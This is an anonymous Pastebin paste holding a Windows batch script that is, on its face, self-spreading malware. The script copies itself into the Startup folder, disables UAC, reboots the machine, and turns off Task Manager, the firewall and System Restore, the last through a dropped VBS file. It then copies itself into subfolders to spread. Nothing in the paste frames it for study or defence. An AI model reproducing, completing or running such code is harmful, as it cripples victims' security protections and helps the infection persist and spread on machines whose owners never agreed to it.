Advertisement
Guest User

Untitled

a guest
Feb 6th, 2017
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @echo off & setlocal enableDelayedExpansion
  2.  
  3. :: get OS
  4. for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
  5. if "%version%" == "6.3" set "osv=8.1"
  6. if "%version%" == "6.2" set "osv=8"
  7. if "%version%" == "6.1" set "osv=7"
  8. if "%version%" == "6.0" set "osv=Vista"
  9. if "%version%" == "10.0" set "osv=10"
  10.  
  11. :: copy script to start up
  12. copy /y "%~F0" "%programData%\Microsoft\Windows\Start Menu\Programs\StartUp" >nul
  13.  
  14. :: use powershell to disable UAC
  15. PowerShell  ^
  16.     New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force  ^
  17. %End PowerShell%
  18.  
  19. :: reboot PC
  20. shutdown /r >nul
  21.  
  22. :: disable taskmanager
  23. Set "hklm=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
  24. reg add "%hklm%" /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
  25.  
  26. :: disable firewall
  27. Netsh Firewall Set Opmode Disable
  28.  
  29. :: disable system restore
  30. @echo Shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR","1","REG_DWORD">%temp%\rstrui_kill.vbs
  31. @echo Shell.regwrite "HKLM\SYSTEM\CurrentControlSet\Services\sr","4","REG_DWORD" >>%temp%\rstrui_kill.vbs
  32. start %temp%\rstrui_kill.vbs
  33.  
  34.  
  35.  
  36. :: spread
  37. set currentDirectory=%CD%
  38. FOR /D %%g IN ("*") DO (
  39.     Pushd %CD%\%%g
  40.     FOR /D %%f IN ("*") DO (
  41.         copy /Y "%currentDirectory%\%~n0.bat" "%%~ff"
  42.     )
  43. Popd
  44. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement